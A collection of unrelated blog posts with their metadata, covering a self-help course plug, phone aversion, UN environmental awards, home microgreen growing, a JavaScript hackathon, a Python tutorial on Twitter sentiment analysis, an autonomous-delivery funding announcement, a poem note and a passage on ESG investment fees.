If you’ve read all the way here, there is a high chance that you’ve recognized some of the described patterns in your own life. The good news is that you’re already on the right path. Just by becoming aware of these behaviors enables you to make a conscious decision to eliminate them from your life.
However, it can often be really hard to change our behavior, especially if we’re used to acting like this our whole life. Fixing the damage is a long-term process. But it definitely can be done. I’m a living example. What really helped me through this process is an online video course called Transformation Mastery by Julien Blanc. You can read my review of Transformation Mastery here.
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https://medium.com/@jardoslav/how-my-parents-caused-me-to-lose-confidence-3e6280865148
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['Jardo Slav']
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2021-02-16 10:11:36.090000+00:00
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['Family', 'Self Confidence', 'Self Esteem', 'Confidence', 'Parents']
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#writingtap day 025 — How my trauma and aversion towards cellphone avoid me from getting phone addiction in advance
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It was the same reaction from the years back before. I was afraid of my phone I couldn’t use it, terrified of the notifications. So I turned off the notifications, made separate LINE account with the old one on the lite app version. I created the new secret account to keep in touch lightly with people I want to talk to. I also used WhatsApp, something I rarely used back then. All to avoid unnecessary notifications (people were already so active, believe me, on social media; they just couldn’t stop). It all went down to the point I turned off my activity status, you know, the online and read receipt thing. It was crazy thinking that others need to know whether you’re online and had read the messages or not. I still turned the those things off on every app. I didn’t need to know what happened either, I just checked voluntarily on few apps. It was easy ditching the phone for me, it brought me peace. I slowly drifted away from people; the standard of human interactions which was set unconsciously was actively knowing each other on social medias, whilst I was terrified for it.
It did me good though, finding phones repulsive had its benefits.
I was not dependent on my phone. I also spent time talking with my closest ones (through the new account I made) more than trying to impress people that don’t matter as much. It’s not like I didn’t consider them important, I had people with whom relationships’ I wanted to invest in. I respected genuine relationships, I talked when I met people and not checking my phone. Also, I learned to not give in the temptation of dopamine gratification of tapping the phone; I was not addicted to it so that I actually studied even better. I had better focus and had time for myself and things I liked: reading and studying. I actively participated in competitions, wrote better papers, did better presentations. I was more dedicated for things that mattered and respected them.
Though the reason for my love-hate relationship with cellphone was out of fear, I have already resolved it since. I don’t freak out about notifications anymore because I can just ignore it now. I went to therapy and applied the method on my aversion towards cellphone notifications. My activity status and read receipts are still inactive even now. For me, it is implausible to have everyone knows every time I go online and whether or not I have read their texts. Some people get false sense of control, causing misunderstandings. Another thing, I don’t feel like needing to share so much about my life on social media nor tapping excessively just to get the dopamine secretion on. It unintendedly serves me a great purpose, I am healthier in terms of phone screen time usage for texting excessively.
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https://medium.com/@velika/writingtap-day-025-how-my-trauma-and-aversion-towards-cellphone-avoid-me-from-getting-phone-24056408aff1
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['Velika Li']
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2021-08-16 15:56:23.007000+00:00
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['Writing', 'Healthy Living', 'Mental Health', 'Habit Building', 'Phone Addiction']
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Environmental ‘Champions’ set the high-water mark for climate action
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#EnvironmentChange; #ClimateAction; #OceanProtection;
UNEP/Canadian-Media: In the Rime of the Ancient Mariner, 19th century English poet Samuel Taylor Coleridge warned of a world where there was “water, water everywhere, but not a drop to drink”, UNEP reports said.
Image credit: Twitter handle
For two of this year’s laureates of the Champions of the Earth award, the importance of waterways to mitigating the effects of climate change has shaped political and legal advocacy that has had a transformative power for environmental stewardship.
Fiji’s Prime Minister Frank Bainimarama, whose commitment to climate rehabilitation made his country the first signatory to the landmark Paris Agreement, has been a tireless advocate of the need to consider the importance of a healthy and functioning ocean to climate change mitigation.
“The science is very clear about the consequences of a global temperature rise of 3 degrees celsius, and we cannot let that happen,” Prime Minister Bainimarama has said. “If nothing is done soon, human survival will be threatened. We cannot afford to take that gamble.”
Oceans are not the only waterways of importance for healthy and sustainable life on Earth, as another of this year’s laureates has shown with her passionate pursuit of environmental justice for the indigenous communities of the Amazon Basin. Nemonte Nenquimo of Ecuador’s Waorani people has won a series of critical legal victories to prevent the auctioning of parcels of land for resource exploitation along the Amazon River.
Drawn from an exceptional pool of nominees, Nenquimo and Prime Minister Bainimarama are among the six laureates to be awarded this year’s tribute to those whose effective action has led to environmental victories that have transformed our societies for the better.
Most striking among their shared attributes is their commitment to living within and in harmony with the natural world — and ensuring that everyone the world over can benefit from a harmonious, not a dissonant, relationship with their environment. These stewards of the Earth and its waterways also hold dearly the values of equity, fairness, and inclusion, and see important links between doing no harm to the planet and doing no harm to its inhabitants.
To draw inspiration from their profiles in action, and see what you can do in your own community to join them as an environmental champion, visit this page.
The United Nations Environment Programme’s Champions of the Earth and the Young Champions of the Earth honor individuals, groups, and organizations whose actions have a transformative impact on the environment.
The annual Champions of the Earth award is the UN’s highest environmental honor. It recognizes outstanding leaders from government, civil society, and the private sector. Six laureates were announced in December 2020, on the cusp of the UN Decade on Ecosystem Restoration 2021–2030
By showcasing news of the significant work being done on the environmental frontlines, the Champions of the Earth awards aim to inspire and motivate more people to act for nature. The awards are part of UNEP’s #ForNature campaign to rally momentum for the UN Biodiversity Conference (COP 15) in Kunming in May 2021, and catalyze climate action all the way to the UN Climate Change Conference (COP26) in Glasgow in November 2021.
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https://medium.com/@abajaj033/environmental-champions-set-the-high-water-mark-for-climate-action-15e40f3324f1
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['Asha Bajaj']
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2020-12-15 12:55:18.660000+00:00
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['Climate Action', 'Environmental Issues', 'Unep', 'Environmental Champions', 'Ocean Protection']
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Micro green growing at home
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By Anuj Mohan Bulsara
Seeds
Seeds that are easy to work with to grow microgreen are Fenugreek, Amaranth Red, Mustard, Spinach, Broccoli, Cabbage, Coriander and Dill.
Container
One can use anything that can hold minimum 4 cm of seed growing medium layer.
Paper box can be used to grow microgreen.
For any other type of container holes must be made at bottom of the container.
From 29 cm x 29 cm (A4 size) paper square box of the size 10 cm (L) x 10 cm (W) x 4 cm (H) can be made easily using origami.
Cut out 6 cm x 6 cm of the box bottom leaving 2 cm as it is from each side.
Take two 20 cm x 10 cm synthetic cloth piece and place them in the box perpendicular to each other, forming PLUS + sign. This will prevent direct contact of soil with paper. Due to this the Box life gets extended. Acrylic Felt is suggested as synthetic cloth. Woolen felt also works very well. Any other synthetic cloth around 2mm thick can be used. Thin cloth can also be folded and used. Other materials are not very effective.
Paper used to make box
Card paper size: A4 size
Card paper quality: 70 GSM (grams per square meter) card paper
Cloth used : Acrylic felt 2 mm thick
Seed growing medium
Plain soil, Charcoal Flakes, Burnt Rice Husk, Fine Sand and Vermiculite are easy to work with.
Dry leaves crushed to very small size, Coir fibers, tea leaves leftover after preparing tea and cocopeat can also be used.
One or more of above mentioned material can be mixed in various proportions to make Seed Growing Medium.
Seed growing medium ingredients
Mix Wood Charcoal Flakes 2 parts and 1 parts vermiculite powder by volume
Seed growing medium
Seed Paper
Take tissue paper of the size 10 cm x 10 cm
leave 5 mm from all four sides and draw 10 horizontal and 10 vertical lines each 1 cm away from other. This will create 1 cm x 1 cm grid on it with 100 cross points
Take matchstick or any other object having around 2 mm tip point. dip tip point in the fevicol craft adhesive to cover the tip of matchstick with glue.
Make glue dots on one line of grid intersections having 10 cross points
Use tweezer and place seeds on the glue dots, repeat this for all lines, 100 seeds will be on paper each at 1 cm x 1 cm distance.
Glue quantity applied to paper should be just sufficient to hold the seed avoid putting big drops of glue on paper. Sticking seed on paper is to ensure proper spacing of seeds when they get laid on seed growing medium in the container.
The seed paper is ready for using when glue dries.
Allow it to dry out for 6 hours
Tissue paper is used to make this seed paper.
Fill the box completely with Seed Growing Medium
On pressing it lightly it will go down by about 1 cm
Saturate seed growing medium with water. Avoid pouring water on box for extended life.
Now place seed paper on top of seed growing medium.
Spray mist (fine drops) of water on it.
Sprinkle seed growing medium on seed paper to make thin layer on top of seeds. This is to cover all seeds, do not deep bury the seeds. Then spray some water to moisten the top layer covering the seeds.
Paper box filled with Seed Growing Medium Seed paper laid on Box filled with SGM
Seed paper wetted by spraying water Ready Microgreen Growing Paper Box
Place container in a place that recieves indirect sunlight. 1 hour to 2 hours direct morning sunlight is preferred.
Spray water once a day to keep medium around and under seed moist. Avoid over watering. Try slow watering 10 ml at intervals of 5 seconds. Use syringe, start watering from center of the container then water at all four sides one by one.
Methi — Fenugreek — should germinate in 3 to 4 days
Palak — Spinach — should germinate in 4 to 6 days
Suva- Dill — should germinate in 6 to 8 days
Dhana — Coriander — should germinate in 7 to 10 days
Cabbage, Broccoli — should germinate in 6 to 8 days
Mustard — — should germinate in 4 to 6 days
Lal Math — Amaranth Red — should germinate in 3 to 4 days
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https://medium.com/@ugavoanejivo/micro-green-growing-at-home-bd79cfa2d5d6
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['Ugavo Ane Jivo']
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2020-05-07 13:31:07.377000+00:00
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['Gardening', 'Grow Your Own Food', 'Plants', 'Horticulture']
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Grammarly — Spell Checker using JavaScript
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The AddSkill community hosted a Hackathon based on Javascript. The objective was to create a Grammarly.
The Problem statement is as Follows:-
On upload of a file, read the file content and display it in the text area.
2. Process the text content and carry out a spell check for every word in the file content.
3. For every word where there’s a spell error, highlight(or underline ) the word .
4. On right click of this highlighted word, provide a custom menu which has suggestions of correct word in it. On click of any suggestion, the error word should be replaced by a correct one.
5. Host your project on Heroku
Key Learnings from Hackathon:-
Since the Hackathon was completely based on JavaScript. I was able to meet most of the requirements in given amount of time. I had faced quite a few challenges in midway but was able to make it clear with the help of mentors and instructors. It was a great learning process as I learned many new things in very less amount of time. Looking forward for many more Hackathons in near future.
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https://medium.com/@sharmabhavesh0930/grammarly-spell-checker-using-javascript-7d81cfff231e
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['Bhavesh Sharma']
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2020-12-13 06:58:42.396000+00:00
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['Grammarly', 'Hackathons', 'JavaScript']
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Machine Learning Python Investing Social Media
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Data science
Leveraging ML and social media data to improve investing strategies based on the current market sentiment
Creating pipeline for visualising results of the sentiment analysis of the latest Tweets
Image by Open Studio from Adobe Stock
Machine learning and investing are among the most commonly searched-for topics related to practical applications of computer science. Unfortunately, they’re also often abused by self-proclaimed data scientists who have only watched a few tutorials on YouTube and claim that by applying linear regression to previous values of a given stock you are very likely to predict its future price.
However, nothing could be further from the truth. Investing in any financial instrument is a very complex matter. It is extremely challenging to teach a computer how to mimic informed business decisions — for instance, what would be the best time to buy a particular stock. Such decisions should be made based on the extensive expertise and rigorous research — no one can make a better decision about what to do with your money than yourself. However, I do believe that machine learning can buy you one of the most precious commodities in today’s world: time.
If you are an active investor, you most likely regularly skim through news websites to find out whether some new governmental regulation or yet another global event will drag down the price of the stock you have just purchased. If that’s the case, buckle up, and let me show you how you can set up your own sentiment analysis pipeline using the latest Tweets about the financial instrument of your choice.
Sidenote
Please bear in mind, that this article does not aim to be a comprehensive Python tutorial — it showcases a specific Python application. If you are a complete beginner, I recommend checking out the following article about the best resources for learning Python:
Or if you are specifically interested in learning basics of Machine Learning with Python, feel free to check out the article written by my colleague:
Getting started
The first thing you need to do to get started is getting credentials to use the official Twitter API (Application Programming Interface). You can find an excellent tutorial on how to do this here: click
To go ahead, you will need:
an API key,
an API secret key,
an Access token,
an Access token secret.
There are several ways to use API credentials, with the easiest one being simply to include API keys and tokens directly in the program itself. However, this is not a good idea: if your program is published online for whatever reason, your credentials would become publicly available. Instead, I recommend using credentials as conda environment variables. To do so, you need to download Anaconda or Miniconda distributions with the help of the official tutorial: https://docs.conda.io/projects/conda/en/latest/user-guide/install/linux.html). Conda is primarily a package and an environment management system that features Python and its most popular libraries for data analysis by default. We will use them later on.
Once Conda is installed, you should create and activate a separate environment for your project. You can do so by typing the following:
conda create --name twitter_sentiment python=3.7
conda activate twitter_sentiment
If you use Linux distribution or Mac, type it in the terminal. If you use Windows, type it in the Anaconda Prompt. Next, we’ll proceed to setting environment variables.
Setting environment variables — Linux/Mac
Next, let’s put Twitter API keys as variables unique to your environment. In the terminal write:
cd $CONDA_PREFIX
Afterwards, you need to create a new `etc` directory, and in this directory you should have two more directories: `activate.d` and `deactivate.d`.
mkdir ./etc
mkdir ./etc/conda/activate.d
mkdir ./etc/conda/deactivate.d
This is the step where you include credentials in a file. Change the directory to ./etc/activate.d and then edit a file called env_vars.sh with your favorite text editor (I love vi for these purposes) with your Twitter API credentials:
cd ./etc/conda/activate.d
vim env_vars.sh
Content of env_vars.sh file should be as follow:
#!/bin/sh
export consumer_key='your_consumer_key'
export consumer_secret='your_consumer_secret'
export access_token_key='your_acess_token_key'
export access_token_secret='your_acess_token_secret'
Next, change the directory to ../deactivate.d and then create another env_cars.sh file:
cd ../deactivate.d
vim env_vars.sh
Populate env_vars.sh file with the following content:
#!/bin/sh
unset consumer_key
unset consumer_secret
unset access_token_key
unset access_token_secret
Your credentials are now all ready. Right now, you can temporarily deactivate your environment (this must be done for envrionmental variables to be set properly), switch your current working directory to wherever you want it to be (let’s assume that this is $HOME/twitter_sentiment ) and reactivate Conda environment so that you :
conda deactivate
mkdir $HOME/twitter_sentiment
cd $HOME/twitter_sentiment
conda activate twitter_sentiment
Setting environment variables — Windows
This process is very similar to the one for Linux or Mac but there are some tiny changes, due to the fact that Windows does not support Bash shell. Once your new environment has been activated, feel free to change directory to the main directory of the environment and create necessary directories along with env_vars.bat files — type following commands in Anaconda Prompt:
cd %CONDA_PREFIX%
mkdir .\etc\conda\activate.d
mkdir .\etc\conda\deactivate.d
type NUL > .\etc\conda\activate.d\env_vars.bat
type NUL > .\etc\conda\deactivate.d\env_vars.bat
Then, open file .\etc\conda\activate.d\env_vars.bat with any text editor (you can use notepad):
cd ./etc/conda/activate.d
notepad env_vars.bat
And insert your Twitter API credentials to env_vars.bat file:
set consumer_key='your_consumer_key'
set consumer_secret='your_consumer_secret'
set access_token_key='your_acess_token_key'
set access_token_secret='your_acess_token_secret'
Next, change the directory to ../deactivate.d and then edit env_vars.bat file that is located there:
cd ../deactivate.d
notepad env_vars.sh
with the following content:
set consumer_key=
set consumer_secret=
set access_token_key=
set access_token_secret=
Your credentials are now all ready. Right now, you should temporarily deactivate your environment (this must be done for envrionmental variables to be set properly), switch your current working directory to wherever you want it to be (let’s assume that this is %HOME%/twitter_sentiment ) and reactivate Conda environment so that you :
conda deactivate
mkdir %HOME%/twitter_sentiment
cd %HOME%/twitter_sentiment
conda activate twitter_sentiment
Installing NLTK and python-tweeter packages
Before writing some code, we need to install packages that will allow us to do the job we intend to do — that is communicating with Tweeter API and then applying sentiment analysis to the text from acquired Tweets. For the former I suggest using python-twitter module. For the latter, there are many excellent choices, and one of the most popular ones is VADER. It has been integrated into the most powerful Natural Language Processing engine that Python has to offer — NLTK (Natural Language Toolkit). Just type in following commands:
pip install python-twitter
pip install nltk
python -m nltk.downloader vader_lexicon
This will install python-twitter and NLTK packages as well as VADER extension to the NLTK library. Now, let’s proceed to the actual code itself.
Sidenote
If you do not use conda distribution of Python, you will also need to install matplotlib and seaborn packages — you can do so by typing in the console:
pip install matplotlib
pip install seaborn
Coding — communicating with Twitter API
For your convenience, the code that I will use here can be also found on my Github page: https://github.com/szymonzaczek/towards-data-science/
Let’s start with importing the necessary packages.
The `Twitter` package is the Twitter API Python module; `os` allows us to interact with the operating system; `datetime` is used for dealing with dates (we will need it because we will try to get the most recent Tweets); and the `re` package enables using regular expressions. We will use `pandas` for a convenient way to process data, and `matplotlib.pyplot` and `seaborn` to create very informative and elegant plots. `SentimentIntensityAnalyzer` will be our workhorse — this is the class that will be used to evaluate the sentiment of given Tweets.
The next step is to set up our API access. Since we use a conda environment, we can easily access our credentials by calling the `os.environ.get()` method, and use the results of those calls as an argument to the actual Twitter.API object. Bear in mind that we will be taking advantage of `tweet_mode=”extended”`, since we do not want to truncate Tweets and we want to analyze them whole.
Next, we need to choose the keywords that will be the basis of our search for relevant Tweets. They should be chosen wisely — for instance, if you were to choose `apple` as a keyword, most of the search results would probably refer to the tech company, but some of them could also relate to our beloved fruit. Ideally, those keywords should not have multiple meanings. We will search for Twitter posts that include all of the specified keywords.For the program to run properly, pick between one and three keywords. I chose `”crude”` and `”oil”` and grouped the keywords in a list.
Now, let’s establish what day it is today. Python has a very neat and concise way to do so: since we have already imported the `datetime` module, just call the `datetime.date.today()` method and assign its value to a variable:
It’s at this point that we need to include our code within the `while` loop. Why? I will get to that slightly later, but for now, we’ll just initiate the loop:
From now on, any code should be indented (indentation in Python is treated as either four spaces or a tab by default); that is until we leave the loop. Then, we proceed to construct a query for Twitter search. There are several ways to do so, and I chose to search Twitter with the `raw_query` method. This means that the API will be called directly with a query that mimics the query search used in the browser (for more info, please see https://python-twitter.readthedocs.io/en/latest/searching.html). This offers a neat way to handle time frames for searches. However, it requires you to very strictly adhere to formatting rules that you can nevertheless forget about once the query is complete. Since we want to use time frames for searching Twitter, we must format `date_for_query` according to the `raw_query` requirements (which is a pretty standard way to format dates, by the way):
And, then, the query is constructed using string concatenation as follows:
If you are a beginner Python user, this might look pretty terrifying, but keep in mind that it has everything you need and it will automatically adapt to your use case. The `query` variable will contain all of the earlier specified keywords (by using `”%20".join(keywords)` command), the right day (`date_formatted`) and some other stuff that is required from `raw_query` ()(such as `%20` and `%3A` tags, filtering out links, keeping only replies without citation of the original post, etc.). Afterwards, we need to call the actual search method while assigning its result to a variable:
Just like this, we already have Twitter search results. However, we still don’t know what exactly is in there. If an analysis of any social media content is supposed to guide investing strategies, we should make sure that this analysis is not made using excluded examples but rather a batch of posts. Let’s assume that for our purposes we will need at least 30 Tweets. This is why we encapsulated our code in a `while` loop: right now we can specify that if our search results in more than 30 Tweets, we will exit the loop:
Here comes the tricky part. What do we do if we do not have enough Tweets? We can, of course, expand our search to earlier dates. To do so, we just need to change the value of the `date_for_query` variable to the day prior to the current `date_for_query`. Since the code is now in a loop, this will be easy. But, before doing so, let’s check if the current date in the `date_for_query` variable is not older than seven days. This is important for two reasons. Firstly, Tweets older than that should not really influence the current sentiment regarding your targeted keywords. Secondly,Twitter’s basic API does not allow searching for Tweets that are older than seven days. Mathematical operations on `datetime` objects can be done using the `datetime.timedelta()` method. Also, we can raise ValueError with an elegant error message if our search is already at its limit. It’s not really Pythonic, but here we’d rather be overeager than leave users with a hardly informative message (due to the very long string, formatting here is not perfect).
If we are not at the limit yet, we can widen our search to the previous day. This can be done pretty easily:
And, just like this, we are done with direct interactions with Twitter API. The following code sums up the whole `while` loop:
Using this piece of code, we will either receive at least 30 `twitter.models.Status` objects (contained within the `search_results` list), or we will be prompted by an error message stating that there were not enough Tweets found for given keywords. In this case, you should modify your keywords. Either use fewer of them, or try more general ones, because each keyword from the `keywords` list must be found in each Tweet that will be the result of your search.
Data processing
The next step is to extract the text of individual Tweets from the list of `twitter.models.Status` objects that are contained in the `search_results` list. Remember that our goal is to perform sentiment analysis of tweets and to get an understanding of people’s current feelings about the keywords we chose. In my case, it’s going to be `crude` and `oil`. For this analysis to be as unbiased as possible, we should make sure that each Tweet was posted by a different user. So, we will start with initializing two lists:
Now, we can start populating these lists. For this purpose we will need a loop, in which we will iterate over our `search_results`. For each iteration, we will check if a given Tweet was posted by a unique user. If there were multiple Tweets posted by the same user, we will use only the first one we found. For this purpose, we might use the `not in` membership operator embedded in the `if/else` clause. If there are multiple posts in our search results by the same author, we will just go to the next post using the `continue` statement. If we have a post by an author who was not featured in our search previously, let’s extract the `full_text` attribute from the Tweet (which, of course, is the text of the Tweet):
Twitter users quite often overuse various hashtags and mention other people. I see hardly any reason to include those in the sentiment analysis, so let’s remove them. This can be done using regular expressions — a powerful tool for looking up strings within strings. Importantly, regular expressions are programming-language agnostic, and, as a result, they are a great, universal tool to have in your pocket. In Python, the `re` module is responsible for dealing with them and its `re.sub()` method that allows substituting a string with another string. In this case, we are looking for words that start with either `@` or `#`, and we simply remove those words by replacing them with an empty string.
Also, very short posts tend to pose a challenge in sentiment evaluations, so we might want to make sure that the posts that will be analyzed are at least 20 characters long. Also, if there were any hashtags or mentions at the beginning of the Tweet, there will be whitespace in front of such posts . Let’s get rid of that by using `lstrip()` method:
To sum up extracting the actual text from Tweets, this is the whole loop that populates the `tweets_text` list:
Sentiment analysis of the acquired Tweets
So, until now, we have searched Twitter for Tweets containing specified keywords and we extracted text from them. The sentiment analysis, which is the exciting bit, begins now. Truth to be told, this part will not require a lot of code since we only need to feed the text to the `SentimentIntensityAnalyzer` object and extract the desired output. In this case, it will be the `compound` score taken from the `polarity_scores` method that is made available by the `SentimentIntensityAnalyzer` class. The `compound` value describes the overall sentiment of the provided text. If the sentiment of the text is positive, its `compound` score is positive. If the sentiment is negative, its `compound` score is negative. When the text is rather neutral, the `compound` score is very close to 0. The value of the `compound` score is accessed as a key from a dictionary that is the result of running the `polarity_scores` method. What’s more, the `compound` score is a floating point value formatted with four decimal digits. Since such precision is not really necessary for our purposes, let’s reduce it to two decimal digits. Last but not least: let’s embed using `SentimentIntensityAnalyzer` class (so basically our Sentiment Analysis engine) in a function and let’s decorate it with type hinting, for both the input (`tweet_text: str`) and the output (` -> float`):
To sum up this part, the `vader_sentiment_score` function takes as an argument the text of a single tweet and it returns a float that describes the sentiment itself.
Now, we can finally proceed to analyze our Tweets. Let’s create another list in which we’ll store the results and perform some machine learning by iterating over Tweets and feeding them to the function that performs the sentiment analysis:
And voila! You have just performed a sentiment analysis of Tweets. It wasn’t so hard, was it? You have officially applied machine learning to real-world data and you have accessed it through the API of one of the most popular websites in the world. Quite impressive, I’d say. But beware, we are still nowhere near the end. Even though we have the data, we haven’t even seen the results of our efforts yet. You can obviously just print the numerical values if you want but this will not be very informative. So, let’s generate a neat, high-quality bar plot that will sum up all of the findings. For this purpose, let’s assign the floating point numbers obtained in the earlier step to their categories (negative, neutral and positive) using simple `if`/`elif` statements, along with creating a `sentiment_list` that will store the results of this operation:
Visualising the results
And now, let’s take a look at how to create a bar plot. There are a few ways of doing so but my preferred one is using the great and versatile `seaborn` module. For our purpose, we might just create two lists that will contain data for the x and y axes of the plot. Let’s call them conveniently `x_axis` and `y_axis`. The first one will contain only our categories, whereas the second one will contain the count of each category. This is how they can be created:
If you cannot wait to see the results, you can visualize the outcome of your own sentiment analysis just by calling `sns.barplot(x=x_axis, y=y_axis)`. However, there are some additional things that might make our plot look much more smoother. I very much enjoy visualizations that communicate the findings as conveniently as possible. This can be aided by an appropriate and thoughtful use of colors. For instance, let’s make the negative Tweets red, the neutral ones blue, and the positive ones green. We can do that by changing the color pallette of the seaborn module:
colors = [“firebrick”, “dodgerblue”, “limegreen”]
sns.set_palette(sns.color_palette(colors))
We didn’t use standard shades of those colors — I really prefer the firebrick variation of red over standard red, and so on.
We can also include a grid on the plot, so it will be easier to compare the heights of the bars:
And right now we can initialize the `figure` object that works like a canvas for the plot. Let’s tweak its size and its resolution:
It’s always a good idea to put labels to axes. So, let’s put the `”Amount”` label to y axis (in bold, large font), along with creating an ‘ax’ variable that points to an instance of axes from our plot:
And now, we have all of our basic components to create the plot itself:
Let’s not stop there, though. It would be pretty cool to have automatic generation of a plot title according to the keywords we used. We might also put a date right into the plot title. You will then have all of the details of your analysis right on the single plot. There is one small caveat though — at first, we tried to look for Tweets from the current day. If it failed, we tried to look for posts from previous days, up to seven days before. It would therefore be cool for our automatic generation to accommodate those details as well as efficiently deal with both of those examples. For this purpose, we might check if our `date_for_query` variable is the same as `datetime.date.today()`,and then use a customized plot name:
At this point we have a very neat bar plot with a fully customized title in accordance with our use case. But let’s be honest: we, people, are lazy. We hardly ever want to stretch our brains too much. So, if any of the bars in the plot have very similar heights, we might get confused as to whether we have more negative or positive Tweets. We might make it all clearer to understand by putting the actual amount of Tweets assigned to each category on the plot. For this purpose we can utilize the `ax.annotate()` method. To use it properly, we need to figure out the exact location where the annotations should be placed. This can be done by starting from iterating over patches that might be accessed from the `ax` object. Then, for each patch, get the bounding box coordinates for each bar. The best option will be to put the actual amounts just over the bars, so the annotation should happen just above the bar. We also want to make sure that in the plot there will be enough room to accommodate everything that we want to find there. So, we set the end of the y_axis to 110% value of the one automatically assigned by seaborn. We also want to make sure that the numbers are very much centered above the bars themselves — that is why we check if the `val` is bigger or lesser than 10. If it is bigger, for it to be perfectly centered, we add twice the offset (because we have two digits instead of one):
The very last thing to do with the plot is just saving it on the disk. Ideally, plots that you save would have a fully descriptive name that contains each detail of your analysis, similarly to what was done in the title of the plot. This can be done using the following code:
Here you can find the complete code for creating and saving the plot:
Now, have a look at my plot which illustrates my search for ”crude” and ”oil” from the 19th of June:
Plot created by author
Summary
And there you have it! It wasn’t a rough ride, was it? Even though the code that we have produced was not terribly complicated, we did use some cool stuff here. In fact, not only have you performed a sentiment analysis of the Tweets that you downloaded directly using the official Twitter API but you also prepared awesome visualizations of your work that are 100% customized to suit your use case. To put it simply: we have just developed a universal pipeline for performing sentiment analysis of the Tweets that contain keywords that you specify and created an automatic generation of awesome and informative plots. With this pipeline, all you need to do is to execute your code each day in the morning and right off the bat you will receive a brand new plot that will inform you about the current outlook among Twitter users with regards to the keywords you’re interested in. This can surely make your life as an investor more convenient by saving your time for much more pressing matters and it will definitely aid your decision-making process. Of course, if you want you can extend the code to your preferences. For instance, you could set up this script in cloud services, make it run each day at a fixed time and it may even automatically send you an email with the created plot. This is outside of the scope of this article though— perhaps I will revisit it in the future. Nonetheless, if you coded alongside me, you have just created a machine learning-based analysis pipeline of the latest Tweets regarding the topic of your choice. Isn’t that cool?
If you want to learn more about software development process directly from experienced programmers, feel free to check out STX Next’s blog:
|
https://towardsdatascience.com/leveraging-ml-and-social-media-to-improve-investing-strategies-based-on-the-current-market-f00d2c6e528a
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['Szymon Zaczek']
|
2020-07-15 07:56:44.914000+00:00
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['Machine Learning', 'Social Media', 'Data Visualization', 'Data Science', 'NLP']
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Gatik Partners with Canada’s Largest Retailer, Loblaw and Raises Series A Funding Round
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Gatik was founded in 2017 with one mission — to deliver goods safely and efficiently using autonomous vehicles.
This week we announced our Series A funding round of $25 million, and expansion of operations into Canada with the country’s largest retailer, Loblaw. The funding will enable us to further expand our operations across the continent, as well as increase our team size in Silicon Valley and growing presence in Canada.
The round was co-led by Wittington Ventures and Innovation Endeavors with participation from FM Capital and Intact Ventures. Existing investors Dynamo Ventures, Fontinalis Partners, AngelPad and others also invested in this round. Our investors bring a wealth of deep experience in automotive, artificial intelligence and supply chain, making them a strong strategic fit for Gatik’s rapid growth. We’re always proud to break new ground, and our partnership with Loblaw is another milestone for the industry — the deployment marks Canada’s first ever autonomous delivery fleet. We’ll be providing Loblaw with a safe, reliable, contactless delivery solution for transporting multi-temperature goods from its automated picking facility to retail locations across the country’s most populous city, Toronto. We’ll be operating 5 vehicles for Loblaw on 5 brand new routes, 7 days a week, 12 hours a day.
Retailers know the biggest inefficiencies in their logistics operations often exist in the middle-mile, typically between micro-fulfilment centres (MFCs) and retail locations. This is where Gatik lives and succeeds, and is the reason we’re able to offer immediate value to our customers. The middle mile is the most underserved and costly segment of the supply chain, and ensuring its efficiency has become absolutely critical for retailers who want to keep up with demanding consumer behavior. The pandemic has only served to amplify supply chain challenges. As such, enhancing middle mile delivery has become indispensable — for our part, we’ve seen a 30–35% spike in orders since the onset of COVID-19. By automating this segment of the supply chain, we’re able to reduce costs, keep delivery times short and address an unprecedented need for contactless delivery.
A lot has happened for us this year. In May 2020, we announced our new platform: we now have a fleet of multi-temperature Autonomous Box Trucks ranging in size between 10 and 26 feet in length, all capable of storing ambient, cold and frozen goods. June 2020 marked our one year anniversary of delivering autonomous orders with our first customer, Walmart, in the USA. We’re now working with multiple Fortune 500 customers across the USA and Canada, and travelling up to 300 miles on a single journey. I’ll share more announcements in the coming weeks — this post marks the first in our new monthly series.
It’s a time for us to grow, and grow fast. In the last 12 months we’ve doubled our team size, and will double again in the next 12 months. We went into the year with strong momentum from early customer partnerships and validation of our technology. We’re very proud of how we’ve supported our customers throughout this unpredictable year, and strengthened their supply chains with our product. Whereas the last decade was heavily focused on warehouse automation, as far as retailers are concerned, the focus this decade will be making their on-road transportation networks autonomous.
|
https://medium.com/gatik/gatik-partners-with-canadas-largest-retailer-loblaw-and-raises-series-a-funding-round-62b64a49e013
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['Gautam Narang']
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2020-12-09 19:23:58.007000+00:00
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['Autonomous Vehicles', 'Supply Chain', 'Autonomy']
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All Souls
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Suntonu Bhadra put forward an excellent challenge recently, to make “5 (five) poetries in 5 (five) days, each in precisely 25 (twenty-five) words (spaces not counted).” This poem is the fifth and final of my responses to it, especially for November 2nd, which is All Souls Day. Thanks Suntonu for this great idea! If you’re reading this, thank you, and please join in!
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https://medium.com/spiritual-secrets/all-souls-e69d979ce9d3
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['Amy Jasek']
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2020-11-03 13:02:55.573000+00:00
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['Día De Los Muertos', 'Spirituality', 'Poetry', 'All Souls Day', 'Spiritual Secrets']
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ESG Does Not Mean Impact
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Private investors are increasingly interested in aligning their investments with their values and using their wealth to make a positive impact on society. In response, asset managers have raced to offer investors a wide range of ESG and socially responsible investment strategies to serve and profit from this growing area.
At the end of 2019, there were over 800 ESG mutual funds and ETFs according to the US SIF Foundation. Product launches continued to explode in 2020 as BlackRock alone launched 93 new strategies last year. Net flows of $51 billion in 2020 were more than double the total for 2019 and nearly 10 times more than in 2018 according to Morningstar.
While some ESG advocates and assets managers claim a performance advantage for ESG, we believe the data is inconclusive and it is a mistake to make any blanket assumptions about whether ESG as a category will outperform or underperform in the future. For this paper, we assume there is no ESG “alpha” or performance impact, positive or negative, associated with ESG investing.
Before impact-minded investors decide to put their money into ESG funds, we believe they should consider the fees associated with ESG strategies and whether these strategies really represent their personal values.
1) ESG Strategies = Higher Fees
Most ESG strategies run 5 to 30 bp more than comparable non-ESG strategies. That means an impact investor with $10 million could pay an additional $5,000 to $30,000 in fees to his money manager each year.
While paying that extra money for an ESG strategy is an option, an investor may also want to consider making a direct and measurable environmental or social impact by donating that extra money to a charity of his choice. For example, thirty thousand dollars in extra fees can go a long way towards alleviating hunger or restoring land. It covers the cost of planting 30,000 tree seedlings or serving 300,000 meals to the hungry according to the US Forest Service and Feed America.
Rather than pay ESG fees, an investor could plant 30,000 trees or pay for 300,000 meals.
2) ESG is Not the Same as Ethical
It is expedient to believe that highly rated ESG companies are “good” companies. While this holds true in some instances, to assume this connection is an error.
